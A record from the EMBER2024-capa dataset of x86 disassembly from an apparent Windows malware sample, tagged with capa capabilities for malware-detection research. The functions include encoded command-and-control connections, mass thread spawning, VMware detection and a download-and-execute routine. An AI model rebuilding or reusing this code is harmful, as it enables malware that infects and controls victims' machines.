joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021b0
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x416280]
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp eax, edi
je case.0x4021e7.10
mov esi, dword [esp + 0x14]
mov dword [0x416280], edi
mov eax, dword [esi + 0x114]
add eax, 0xfffffffb
cmp eax, 0x21
ja case.0x4021e7.10
xor ecx, ecx
mov cl, byte [eax + 0x402338]
jmp dword [ecx*4 + 0x402320]
mov eax, dword [esi + 0x108]
xor ebx, ebx
cmp eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
jle 0x402238
mov ebp, 1
cmp dword [esi + 0x10c], ebp
jne 0x40221d
push 0
push 0
push esi
push 0x407620
push 0
push 0
call edi
push 0
push 0
push esi
push 0x407300
push 0
push 0
call edi
mov eax, dword [esi + 0x108]
inc ebx
cmp ebx, eax
jl 0x402205
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jle 0x40230a
push 0
push 0
push esi
push 0x407620
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x402261
jmp 0x40230a
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jle 0x40230a
push 0
push 0
push esi
push 0x407430
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x402291
jmp 0x40230a
mov eax, dword [esi + 0x108]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
jle 0x40230a
push 0
push 0
push esi
push 0x4078b0
push 0
push 0
call ebx
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x4022be
jmp 0x40230a
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
push 0x408880
push 0
push 0
mov dword [esi + 0x10c], edi
call ebx
push 0xbb8
call ebp
inc edi
cmp edi, 0x14
jl 0x4022e7
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x402360
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x416280]
push ebx
push esi
push edi
test eax, eax
je 0x40240a
mov esi, dword [esp + 0x10]
mov dword [0x416280], 0
mov eax, dword [esi + 0x28c]
sub eax, 0x15
je 0x4023cd
dec eax
jne 0x40240a
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x4023fa
push 0
push 0
push esi
push 0x4087c0
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x40239e
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x288]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
test eax, eax
jle 0x4023fa
push 0
push 0
push esi
push 0x4086f0
push 0
push 0
call ebx
mov eax, dword [esi + 0x288]
inc edi
cmp edi, eax
jl 0x4023df
push 0
push 0
push esi
push 0x4017d0
push 0
push 0
call ebx
pop edi
pop esi
pop ebx
ret
Function at 0x402410
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push eax
push str.Z2pzOC5jb206NTUzMw
call fcn.00409390
add esp, 4
push eax
call fcn.00405110
mov esi, dword [sym.imp.WS2_32.dll_socket]
add esp, 8
push 0
push 1
push 2
call esi
push 0
push 1
push 2
mov edi, eax
call esi
push 0
push 1
push 2
mov ebx, eax
call esi
mov esi, dword [sym.imp.WS2_32.dll_connect]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push edi
mov ebp, eax
call esi
cmp eax, 0xffffffff
jne 0x402509
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, byte [0x4196e0]
test al, al
je 0x40248a
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10
ret
lea edx, [esp + 0x10]
push edx
push str.j5nBnauETcvAXblR3Lt92YugDO4czNxUjLqp2LvoDc0RHa
call fcn.004089c0
add esp, 4
push eax
call fcn.00405110
add esp, 8
lea eax, [esp + 0x10]
push 0x10
push eax
push ebx
call esi
cmp eax, 0xffffffff
jne 0x4024ff
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
call ebx
lea ecx, [esp + 0x10]
push ecx
push str.i7Ad4RnL0NXas9SbvNmLz9GZk5WYpRWax5SZ0FGZwV3LvoDc0RHa
call fcn.004089c0
add esp, 4
push eax
call fcn.00405110
add esp, 8
lea edx, [esp + 0x10]
push 0x10
push edx
push ebp
call esi
cmp eax, 0xffffffff
jne 0x4024f5
push edi
call ebx
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x402520
Capabilities:
Delete file
Get common file path
Move file
Write file on windows

Disassembly:
sub esp, 0x20c
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wsprintfA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [esp + 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0x114]
push eax
push ecx
push str.JXNcXGtiLSVkLnRtcA
call fcn.00409390
add esp, 4
lea edx, [esp + 0x18]
push eax
push edx
call esi
mov ecx, dword [esp + 0x230]
mov eax, dword [esp + 0x234]
mov edi, dword [esp + 0x22c]
and ecx, 0xffff
push eax
push ecx
push edi
call fcn.00409fa0
mov esi, eax
add esp, 0x1c
test esi, esi
jne 0x4025af
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
push esi
push edi
call fcn.00409f50
mov edi, eax
add esp, 8
test edi, edi
jne 0x4025c9
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
push 0
push 0x80
push 2
push 0
push 7
lea edx, [esp + 0x24]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
test ebx, ebx
jne 0x4025f6
pop edi
pop esi
pop ebx
add esp, 0x20c
ret
push ebp
lea eax, [esp + 0x10]
push 0
push eax
push esi
push 0
call fcn.00409ff0
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 8
push eax
push edi
push ebx
call ebp
mov esi, dword [esp + 0x230]
test esi, esi
je 0x40266b
lea ecx, [esp + 0x10]
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
push ebx
call ebp
push 0x100000
call fcn.0040a340
mov esi, eax
mov ecx, 0x40000
mov eax, 0x2e2e2e2e
mov edi, esi
rep stosd dword es:[edi], eax
add esp, 4
mov edi, 0xa
lea edx, [esp + 0x10]
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ebx
call ebp
dec edi
jne 0x402655
mov eax, dword [esp + 0x22c]
push 1
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x20c
ret

Function at 0x4026b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
push eax
push str.i5nBnauATcvAXblR3Lt92YugDO4czNxUjLqp2LvoDc0RHa
call fcn.004089c0
add esp, 4
push eax
call fcn.00405110
add esp, 8
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 4]
mov esi, eax
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4026ff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x402770
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe4
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0xec]
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402887
mov byte [esp + 8], al
mov dword [esp + 9], eax
mov dword [esp + 0xd], eax
push ebp
mov dword [esp + 0x15], eax
push esi
lea ecx, [esp + 0x10]
mov word [esp + 0x1d], ax
push 0x10
push ecx
mov byte [esp + 0x27], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x75]
mov dl, byte [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.OlxQcm9ncmFtIEZpbGVzXEludGVybmV0IEV4cGxvcmVyXGlleHBsb3JlLmV4ZSIg
mov byte [esp + 0x78], 0x22
mov byte [esp + 0x79], dl
call fcn.00409390
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x74]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x74]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x10
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xfc]
pop esi
test eax, eax
mov dword [esp + 0x2c], 0x44
pop ebp
je 0x40285f
mov dword [esp + 0x30], str.wINsTA0dEFauLT
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x88]
push 0
push edx
push 0
call fcn.0040a090
add esp, 0x28
pop edi
xor al, al
pop ebx
add esp, 0xe4
ret

Function at 0x403120
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4131f0
push 0x40a8d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4031c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
call fcn.00403090
test al, al
je 0x4031da
mov al, 1
pop esi
add esp, 0x128
ret
call fcn.00403120
test al, al
je 0x4031ed
mov al, 1
pop esi
add esp, 0x128
ret
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x403252
lea eax, [esp + 4]
mov dword [esp + 4], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40324b
lea ecx, [esp + 0x28]
push ecx
push str.vmwareservice.exe
call fcn.0040e4b0
add esp, 8
test eax, eax
je 0x40323a
lea edx, [esp + 4]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40324b
jmp 0x403213
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
add esp, 0x128
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
add esp, 0x128
ret

Function at 0x403580
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x1010
call fcn.0040a7b0
push ebx
push ebp
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wsprintfA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [esp + 0x1024]
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
push edi
push 3
push edi
push 1
push closesocket
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x34], edi
call esi
mov ecx, dword [esp + 0x1028]
push edi
push 0x80
push 2
push edi
push edi
mov ebp, eax
push 0xc0000000
push ecx
mov dword [esp + 0x30], ebp
call esi
cmp ebp, 0xffffffff
mov ebx, eax
je 0x4036b4
cmp ebx, 0xffffffff
je 0x4036b4
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea edx, [esp + 0x10]
push edi
push edx
lea eax, [esp + 0x28]
push 0x1000
push eax
push ebp
call esi
test eax, eax
je 0x403632
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push edi
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x10], 0x1000
je 0x403604
push 0x100000
call fcn.0040a340
push edi
mov esi, eax
call fcn.0040a9d8
push eax
call fcn.0040a9b0
add esp, 0xc
call fcn.0040a9ba
cdq
mov ecx, 0x19
idiv ecx
add dl, 0x61
mov byte [edi + esi], dl
inc edi
cmp edi, 0x100000
jl 0x403657
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, 0xa
lea edx, [esp + 0x1c]
push 0
push edx
push esi
call ebp
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec edi
jne 0x40367e
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1010
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1010
ret
Function at 0x4036d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebp
xor ebp, ebp
push esi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x403756
push ebx
lea eax, [esp + 0xc]
push edi
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x403742
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push ecx
push edi
call ebx
test eax, eax
je 0x40373d
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40370e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
mov ebp, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
Function at 0x404c00
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], esi
call fcn.00409db0
mov edi, eax
add esp, 0x14
cmp edi, ebp
mov dword [esp + 0x1c], edi
jne 0x404c45
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x410
ret
mov eax, dword [esp + 0x424]
push ebp
push closesocket
push ebp
push ebp
push eax
push edi
call fcn.00409e10
mov ebx, eax
add esp, 0x18
cmp ebx, ebp
jne 0x404c71
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x410
ret
mov ecx, dword [esp + 0x428]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404cf9
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x24]
push 0x400
push eax
push ebx
call fcn.00409e70
add esp, 0x10
test esi, esi
je 0x404cc3
cmp word [esp + 0x20], 0x5a4d
jne 0x404ce6
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x18]
push esi
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x404cee
jmp 0x404c91
mov dword [esp + 0x14], 0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x1c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x410
ret
Function at 0x404d20
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x2d4
push ebp
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
mov byte [esp + 0xe0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0xe1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xe0]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [esp + 0x2e4]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, ecx
lea edi, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x60]
and ecx, 3
push 0x2f
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.0040b900
mov edi, eax
or ecx, 0xffffffff
inc edi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xe8]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xe8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x6c]
push ecx
call fcn.00404c00
add esp, 0x10
test al, al
je 0x404e27
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0xfc]
push 0
push ecx
push 0
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
add esp, 0x2d4
ret

Function at 0x404ed0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x84
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0xc]
push ecx
push str._sx86_ms6012453.log
push edx
call dword [0x4196a4]
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, dword [esp + 0x90]
lea ecx, [esp + 8]
push 0
mov esi, eax
push ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x84
ret
Function at 0x404f70
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x484
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0xc]
push ecx
push str._sx86_ms6012452.log
push edx
call dword [0x4196a4]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x98]
add esp, 0xc
rep stosd dword es:[edi], eax
lea eax, [esp + 0x8c]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 2
push 0
push 0
lea ecx, [esp + 0x20]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea edi, [esp + 0x8c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 8]
push 0
dec ecx
push edx
lea eax, [esp + 0x94]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x484
ret
Function at 0x406910
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x40c
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call fcn.00409db0
mov edi, eax
add esp, 0x14
cmp edi, ebx
mov dword [esp + 0x14], edi
jne 0x40694a
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x40c
ret
mov eax, dword [esp + 0x41c]
push ebx
push closesocket
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x406973
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x40c
ret
mov ecx, dword [esp + 0x420]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4069e7
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x20]
push 0x400
push eax
push esi
call fcn.00409e70
mov edx, dword [esp + 0x20]
add esp, 0x10
lea ecx, [esp + 0x14]
lea eax, [esp + 0x1c]
push 0
push ecx
push edx
push eax
push ebx
call ebp
mov eax, dword [esp + 0x10]
test eax, eax
ja 0x40699a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x18]
pop ebp
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x40c
ret

Function at 0x406a00
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret
Function at 0x40a200
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40a21e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40a25f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x42ae20
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c5f6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b8296
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42aea2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004b5560
mov eax, dword [eax]
push 0x6c0e34
push eax
call fcn.004a6ac4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b8521
test bl, bl
je 0x42aea2
push 0x6c0e34
lea ecx, [esp + 0xc]
call fcn.004b88fd
push 0x6c0e40
lea ecx, [esp + 0xc]
call fcn.004b88fd
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42aede
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b8521
jmp 0x42afa9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42af62
lea edx, [esp + 0x7c]
push 0x6c0e3c
push edx
call fcn.004a6ac4
add esp, 8
test eax, eax
je 0x42af62
lea eax, [esp + 0x7c]
push 0x6c0e38
push eax
call fcn.004a6ac4
add esp, 8
test eax, eax
je 0x42af62
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42aef2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b8521
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42b7a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42b802
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc